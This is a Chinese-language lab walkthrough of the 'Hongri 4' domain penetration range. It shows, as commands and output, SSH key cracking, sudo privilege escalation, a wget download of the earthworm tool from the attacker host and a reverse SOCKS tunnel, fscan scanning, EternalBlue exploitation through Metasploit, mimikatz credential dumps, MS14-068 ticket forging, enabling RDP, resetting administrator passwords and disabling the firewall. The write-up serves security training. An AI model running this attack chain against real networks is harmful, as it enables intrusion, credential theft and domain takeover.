Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ubuntu           (id_rsa)
1g 0:00:00:00 DONE (2023-12-13 13:22) 20.00g/s 2899Kp/s 2899Kc/s 2899KC/s unicorn5..tylerray
Use the "--show" option to display all of the cracked passwords reliably
Session completed.


密码是：ubuntu

---

ssh登录

我们使用id_rs私钥进行登录

┌──(root㉿ru)-[~/kali]
└─# ssh [email protected] -i id_rsa
Enter passphrase for key 'id_rsa':
[email protected]'s password:
Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Thu Jan 23 20:50:17 2020 from 192.168.157.128
ubuntu@ubuntu:~$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

---

当然我们也可以利用shadow文件，shadow文件存储了用户的hash散列，直接用john进行爆破即可！

---

内网渗透

内网信息探测

1、su root

ubuntu@ubuntu:/$ sudo -l
[sudo] password for ubuntu:
Matching Defaults entries for ubuntu on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ubuntu may run the following commands on ubuntu:
    (ALL : ALL) ALL
ubuntu@ubuntu:/$

这个ubuntu用户具有全部的权限，那么我们直接提权。

---

ubuntu@ubuntu:/$ sudo /bin/bash
root@ubuntu:/root# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/root#

---

2、内网信息收集

使用earthworm内网穿透工具进行渗透，我们如果单纯把fscan扫描工具上传到靶机里是不行的，因为编译的版本不一样的！运行不了的！所以我们使用内网穿透工具，用本地的流量进行渗透。

---

┌──(root㉿ru)-[~/tools/neiwang/fscan/fscan]
└─# cat /etc/proxychains4.conf | grep "socks5"                                                   
#               socks5  192.168.67.78   1080    lamer   secret
#       proxy types: http, socks4, socks5, raw
#socks5         127.0.0.1 2222
#socks5   116.211.207.100 8080
socks5 127.0.0.1 2222

---

┌──(root㉿ru)-[~/…/earthworm/server/download/ew]
└─# vim /etc/proxychains4.conf
                                                                                                                                       
┌──(root㉿ru)-[~/…/earthworm/server/download/ew]
└─# ./ew_for_linux64 -s rcsocks -l 2222 -e 3333
rcsocks 0.0.0.0:2222 <--[10000 usec]--> 0.0.0.0:3333
init cmd_server_for_rc here
start listen port here

./ew_for_linux64 -s rcsocks -l 2222-e 3333
  #将2222端口监听到的本地数据转发到 web服务器的2222端口
  # 通过2222端口，将本地流量转发出去
  #rcsocks、rssocks 用于反向连接
  #ssocks 用于正向连接
  # -l 指定本地监听的端口
  # -e 指定要反弹到的机器端口
  # -d 指定要反弹到机器的IP
  # -f 指定要主动连接的机器 ip
  # -g 指定要主动连接的机器端口
  # -t 指定超时时长,默认为 1000

---

root@ubuntu:/tmp# wget http://192.168.12.128/ew_for_linux64
--2023-12-12 22:07:07--  http://192.168.12.128/ew_for_linux64
Connecting to 192.168.12.128:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28080 (27K) [application/octet-stream]
Saving to: ‘ew_for_linux64’

100%[======================================>] 28,080      --.-K/s   in 0s

2023-12-12 22:07:07 (253 MB/s) - ‘ew_for_linux64’ saved [28080/28080]

root@ubuntu:/tmp# chmod +x ew_for_linux64
root@ubuntu:/tmp# ls
config-err-jE7nYK  ew_for_linux64  fscan  unity_support_test.0  vmware-root

root@ubuntu:/tmp# ./ew_for_linux64 -s rssocks -d 192.168.12.128 -e 3333
rssocks 192.168.12.128:3333 <--[10000 usec]--> socks server

#将流量通过3333端口传到192.168.16.128主机上
#rcsocks、rssocks 用于反向连接
  #ssocks 用于正向连接
  # -l 指定本地监听的端口
  # -e 指定要反弹到的机器端口
  # -d 指定要反弹到机器的IP
  # -f 指定要主动连接的机器 ip
  # -g 指定要主动连接的机器端口
  # -t 指定超时时长,默认为 1000

---

┌──(root㉿ru)-[~/tools/neiwang/fscan/fscan]
└─# proxychains ./fscan -h 192.168.183.0/24                  
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
(icmp) Target 192.168.183.1   is alive
(icmp) Target 192.168.183.128 is alive
(icmp) Target 192.168.183.130 is alive
(icmp) Target 192.168.183.129 is alive
[*] Icmp alive hosts len is: 4
192.168.183.1:7680 open
192.168.183.130:88 open
192.168.183.129:445 open
192.168.183.130:445 open
192.168.183.1:445 open
192.168.183.129:139 open
192.168.183.130:139 open
192.168.183.129:135 open
192.168.183.130:135 open
192.168.183.1:139 open
192.168.183.1:135 open
192.168.183.1:8834 open
192.168.183.128:22 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo 
[*]192.168.183.1
   [->]芽衣子
   [->]192.168.56.1
   [->]192.168.12.1
   [->]192.168.169.131
   [->]240e:45a:8c85:4d7:6854:4bab:5f69:b5fc
   [->]240e:45a:8c85:4d7:695e:1457:49d2:7f69
[*] NetInfo 
[*]192.168.183.130
   [->]WIN-ENS2VR5TR3N
   [->]192.168.183.130
[*] NetInfo 
[*]192.168.183.129
   [->]TESTWIN7-PC
   [->]192.168.183.129
[*] NetBios 192.168.183.130 [+] DC:WIN-ENS2VR5TR3N.demo.com      Windows Server 2008 HPC Edition 7601 Service Pack 1
[+] MS17-010 192.168.183.130    (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[+] MS17-010 192.168.183.129    (Windows 7 Enterprise 7601 Service Pack 1)                                                             
[*] WebTitle https://192.168.183.1:8834 code:200 len:1138   title:Nessus 

---

ubuntu： 192.168.183.128

win7： 192.168.183.129

win2008： 192.168.183.130


到此内网两台主机全部拿到了，dc是win2008。
内网两台主机都存在永恒之蓝漏洞！

---

内网漏洞利用

1、win7

search ms17-010
use 0
set rhosts 192.168.183.129
set target 1
set payload windows/x64/meterpreter/bind_tcp

msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         192.168.183.129  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
                                             etasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 200
                                             8 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2
                                             , Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows
                                             7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     192.168.183.129  no        The target address


Exploit target:

   Id  Name
   --  ----
   1   Windows 7



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > setg proxyis socks5:127.0.0.1:2222
proxyis => socks5:127.0.0.1:2222

---

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] 192.168.183.129:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.183.129:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.183.129:445   - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.183.129:445 - The target is vulnerable.
[*] 192.168.183.129:445 - Connecting to target for exploitation.
[+] 192.168.183.129:445 - Connection established for exploitation.
[+] 192.168.183.129:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.183.129:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.183.129:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70  Windows 7 Enterp
[*] 192.168.183.129:445 - 0x00000010  72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63  rise 7601 Servic
[*] 192.168.183.129:445 - 0x00000020  65 20 50 61 63 6b 20 31                          e Pack 1        
[+] 192.168.183.129:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.183.129:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.183.129:445 - Sending all but last fragment of exploit packet
[*] 192.168.183.129:445 - Starting non-paged pool grooming
[+] 192.168.183.129:445 - Sending SMBv2 buffers
[+] 192.168.183.129:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.183.129:445 - Sending final SMBv2 buffers.
[*] 192.168.183.129:445 - Sending last fragment of exploit packet!
[*] 192.168.183.129:445 - Receiving response from exploit packet
[+] 192.168.183.129:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.183.129:445 - Sending egg to corrupted connection.
[*] 192.168.183.129:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 192.168.183.129:4444
[*] Sending stage (200774 bytes) to 192.168.183.129
[*] Meterpreter session 1 opened (127.0.0.1:42943 -> 127.0.0.1:2222) at 2023-12-13 14:56:32 +0800
[+] 192.168.183.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.183.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.183.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > 


这样就拿到了win7的meterpreter了。

---

meterpreter > sysinfo
Computer        : TESTWIN7-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : DEMO
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > shell
Process 2728 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001

C:\Windows\system32>ipconfig /all
ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : TESTWIN7-PC
   Primary Dns Suffix  . . . . . . . : demo.com
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : demo.com
                                       localdomain

Ethernet adapter ��������:

   Connection-specific DNS Suffix  . : localdomain
   Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   Physical Address. . . . . . . . . : 00-0C-29-F7-8E-C7
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::c94f:75:2aa:5374%11(Preferred) 
   IPv4 Address. . . . . . . . . . . : 192.168.183.129(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : 2023��12��13�� 14:14:29
   Lease Expires . . . . . . . . . . : 2023��12��13�� 15:29:32
   Default Gateway . . . . . . . . . : 
   DHCP Server . . . . . . . . . . . : 192.168.183.254
   DHCPv6 IAID . . . . . . . . . . . : 234884137
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-25-9C-6B-AC-00-0C-29-43-CC-F2
   DNS Servers . . . . . . . . . . . : 192.168.183.130
   NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter isatap.localdomain:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : localdomain
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter #2
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   
   C:\Windows\system32>netstat -ano
netstat -ano

�����

  Э��  ���ص�          �ⲿ��        ״           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       732
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING       396
  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING       772
  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING       928
  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING       496
  TCP    0.0.0.0:49162          0.0.0.0:0              LISTENING       1884
  TCP    0.0.0.0:49180          0.0.0.0:0              LISTENING       512
  TCP    192.168.183.129:139    0.0.0.0:0              LISTENING       4
  TCP    192.168.183.129:4444   192.168.183.128:39198  ESTABLISHED     1180
  TCP    192.168.183.129:49355  192.168.183.130:135    TIME_WAIT       0
  TCP    192.168.183.129:49356  192.168.183.130:49158  TIME_WAIT       0
  TCP    [::]:135               [::]:0                 LISTENING       732
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:5357              [::]:0                 LISTENING       4
  TCP    [::]:49152             [::]:0                 LISTENING       396
  TCP    [::]:49153             [::]:0                 LISTENING       772
  TCP    [::]:49154             [::]:0                 LISTENING       928
  TCP    [::]:49155             [::]:0                 LISTENING       496
  TCP    [::]:49162             [::]:0                 LISTENING       1884
  TCP    [::]:49180             [::]:0                 LISTENING       512
  UDP    0.0.0.0:123            *:*                                    388
  UDP    0.0.0.0:500            *:*                                    928
  UDP    0.0.0.0:3702           *:*                                    1340
  UDP    0.0.0.0:3702           *:*                                    1340
  UDP    0.0.0.0:4500           *:*                                    928
  UDP    0.0.0.0:5355           *:*                                    1088
  UDP    0.0.0.0:53937          *:*                                    1340
  UDP    127.0.0.1:59981        *:*                                    928
  UDP    127.0.0.1:65006        *:*                                    1088
  UDP    127.0.0.1:65287        *:*                                    512
  UDP    192.168.183.129:137    *:*                                    4
  UDP    192.168.183.129:138    *:*                                    4
  UDP    [::]:123               *:*                                    388
  UDP    [::]:500               *:*                                    928
  UDP    [::]:3702              *:*                                    1340
  UDP    [::]:3702              *:*                                    1340
  UDP    [::]:4500              *:*                                    928
  UDP    [::]:5355              *:*                                    1088
  UDP    [::]:53938             *:* 


没有开启3389端口！

---

##注册表开启远程桌面

  REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

---

  C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
�����ɹ����ɡ�

C:\Windows\system32>netstat -ano | findstr 3389
netstat -ano | findstr 3389
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1088
  TCP    [::]:3389              [::]:0                 LISTENING       1088

C:\Windows\system32>


开启成功！

---

密码抓取

meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( [email protected] )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username      Domain  NTLM                              SHA1
--------      ------  ----                              ----
TESTWIN7-PC$  DEMO    e3ba914bdaca29c197c7191ebf521873  68a1422322c303e4c24d63f381a03b34eb434477
douser        DEMO    bc23b0b4d5bf5ff42bc61fb62e13886e  c48096437367aad00ac2dc70552051cd84912a55

wdigest credentials
===================

Username      Domain  Password
--------      ------  --------
(null)        (null)  (null)
TESTWIN7-PC$  DEMO    /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8He_D#JyWDWIzuYDDytr)\J7(_e(Fcts
                      jl.Zd"JRr
douser        DEMO    Dotest123

kerberos credentials
====================

Username      Domain    Password
--------      ------    --------
(null)        (null)    (null)
douser        DEMO.COM  (null)
testwin7-pc$  demo.com  /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8He_D#JyWDWIzuYDDytr)\J7(_e(Fc
                        tsjl.Zd"JRr
testwin7-pc$  DEMO.COM  /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8He_D#JyWDWIzuYDDytr)\J7(_e(Fc
                        tsjl.Zd"JRr


meterpreter > 


账号：   win7    :    douser        DEMO    Dotest123

---

---

登录失败，可能是需要我们重新验证关系，那我们直接改掉系统管理员密码得了！

---

meterpreter > shell
Process 992 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001

C:\Windows\system32>net user administrator Admin@123
net user administrator Admin@123
The command completed successfully.


C:\Windows\system32>net user administrator /active:yes
net user administrator /active:yes
The command completed successfully.

---

---

ok，win7拿下！

---

---

2、win2008 域控主机

我们要进行一个域内渗透
利用win7里面的ms14-068

---

---

我们先迁移一个域sid号码！

meterpreter > ps -ef

Process List
============

 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System             x64   0
 100   2240  csrss.exe          x64   3        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 260   4     smss.exe           x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 344   332   csrss.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 388   496   svchost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE
 396   332   wininit.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe
 404   388   csrss.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 452   388   winlogon.exe       x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe
 496   396   services.exe       x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe
 512   396   lsass.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe
 520   396   lsm.exe            x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsm.exe
 584   2176  winlogon.exe       x64   2        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe
 616   1724  powershell.exe     x64   1        DEMO\douser                   C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.ex
                                                                             e
 624   496   svchost.exe        x64   0        NT AUTHORITY\SYSTEM
 688   496   vmacthlp.exe       x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 716   1180  cmd.exe            x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe
 728   344   conhost.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe
 732   496   svchost.exe        x64   0        NT AUTHORITY\NETWORK SERVICE
 740   1548  explorer.exe       x64   2        testwin7-PC\Administrator     C:\Windows\Explorer.EXE
 772   496   svchost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE
 900   496   svchost.exe        x64   0        NT AUTHORITY\SYSTEM
 928   496   svchost.exe        x64   0        NT AUTHORITY\SYSTEM
 1040  496   dllhost.exe        x64   0        NT AUTHORITY\SYSTEM
 1088  496   svchost.exe        x64   0        NT AUTHORITY\NETWORK SERVICE
 1180  496   spoolsv.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1216  496   svchost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE
 1340  496   svchost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE
 1452  496   VGAuthService.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAut
                                                                             hService.exe
 1480  496   vmtoolsd.exe       x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1560  496   msdtc.exe          x64   0        NT AUTHORITY\NETWORK SERVICE
 1620  2624  LogonUI.exe        x64   3        NT AUTHORITY\SYSTEM           C:\Windows\system32\LogonUI.exe
 1724  280   explorer.exe       x64   1        DEMO\douser                   C:\Windows\Explorer.EXE
 1820  1724  vmtoolsd.exe       x64   1        DEMO\douser                   C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1884  496   svchost.exe        x64   0        NT AUTHORITY\NETWORK SERVICE
 1956  900   dwm.exe            x64   2        testwin7-PC\Administrator     C:\Windows\system32\Dwm.exe
 1988  624   WmiPrvSE.exe
 2136  404   conhost.exe        x64   1        DEMO\douser                   C:\Windows\system32\conhost.exe
 2164  344   conhost.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe
 2176  1088  rdpclip.exe        x64   2        testwin7-PC\Administrator     C:\Windows\system32\rdpclip.exe
 2180  344   conhost.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe
 2268  496   taskhost.exe       x64   1        DEMO\douser                   C:\Windows\system32\taskhost.exe
 2284  344   conhost.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe
 2296  496   svchost.exe        x64   0        NT AUTHORITY\SYSTEM
 2432  1180  cmd.exe            x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe
 2624  2240  winlogon.exe       x64   3        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe
 2728  1180  cmd.exe            x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe
 2784  2176  csrss.exe          x64   2        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 2804  496   sppsvc.exe         x64   0        NT AUTHORITY\NETWORK SERVICE
 2820  496   taskhost.exe       x64   2        testwin7-PC\Administrator     C:\Windows\system32\taskhost.exe
 2868  496   SearchIndexer.exe  x64   0        NT AUTHORITY\SYSTEM
 2904  900   dwm.exe            x64   1        DEMO\douser                   C:\Windows\system32\Dwm.exe
 3028  1180  cmd.exe            x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe
 3784  740   vmtoolsd.exe       x64   2        testwin7-PC\Administrator     C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 3940  740   cmd.exe            x64   2        testwin7-PC\Administrator     C:\Windows\System32\cmd.exe
 4024  2784  conhost.exe        x64   2        testwin7-PC\Administrator     C:\Windows\system32\conhost.exe

meterpreter > migrate 2904
[*] Migrating from 1180 to 2904...
[*] Migration completed successfully.
meterpreter > getuid
Server username: DEMO\douser
meterpreter > shell
Process 3956 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001

C:\Windows\system32>whomai /user
whomai /user
'whomai' is not recognized as an internal or external command,
operable program or batch file.

C:\Windows\system32>whoami /user
whoami /user

USER INFORMATION
----------------

User Name   SID                                          
=========== =============================================
demo\douser S-1-5-21-979886063-1111900045-1414766810-1107

---

迁移的进程号:2904
sid:S-1-5-21-979886063-1111900045-1414766810-1107

user: douer 
pass: Dotest123

---

C:\Users\douser\Desktop>MS14-068
USAGE:
MS14-068 -u @ -s  -d 

OPTIONS:
    -p 
 --rc4 

C:\Users\douser\Desktop>



C:\Windows\system32>net time /domain
net time /domain
Current time at \\WIN-ENS2VR5TR3N.demo.com is 2023/12/13 15:45:51

The command completed successfully.



C:\Windows\system32>ping demo.com
ping demo.com

Pinging demo.com [192.168.183.130] with 32 bytes of data:
Reply from 192.168.183.130: bytes=32 time<1ms TTL=128
Reply from 192.168.183.130: bytes=32 time=1ms TTL=128
Reply from 192.168.183.130: bytes=32 time=1ms TTL=128
Reply from 192.168.183.130: bytes=32 time=1ms TTL=128

Ping statistics for 192.168.183.130:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 1ms, Average = 0ms

---

payload

MS14-068 -u [email protected] -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

---

---

运行完之后，运行猕猴桃  ————>  mimikatz.exe

kerberos::ptc [email protected]

kerberos::list

---

---

---

\\WIN-ENS2VR5TR3N  域控

---

---

---

---

到这我们的域控其实就已经拿下了！我们去试试永恒之蓝漏洞！

先把dc防火墙关掉：netsh advfirewall set allprofiles state off

---

---

成功了！

---

改成set rhosts 192.168.183.130即可。

---

meterpreter > sysinfo
Computer        : WIN-ENS2VR5TR3N
OS              : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : DEMO
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > shell
Process 2896 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001

C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
The operation completed successfully.

C:\Windows\system32>net user administrator Admin123
net user administrator Admin123
The command completed successfully.


C:\Windows\system32>net user administrator /active:yes
net user administrator /active:yes
The command completed successfully.

---

ok，利用永恒之蓝也是可以的！至此红日四打完了！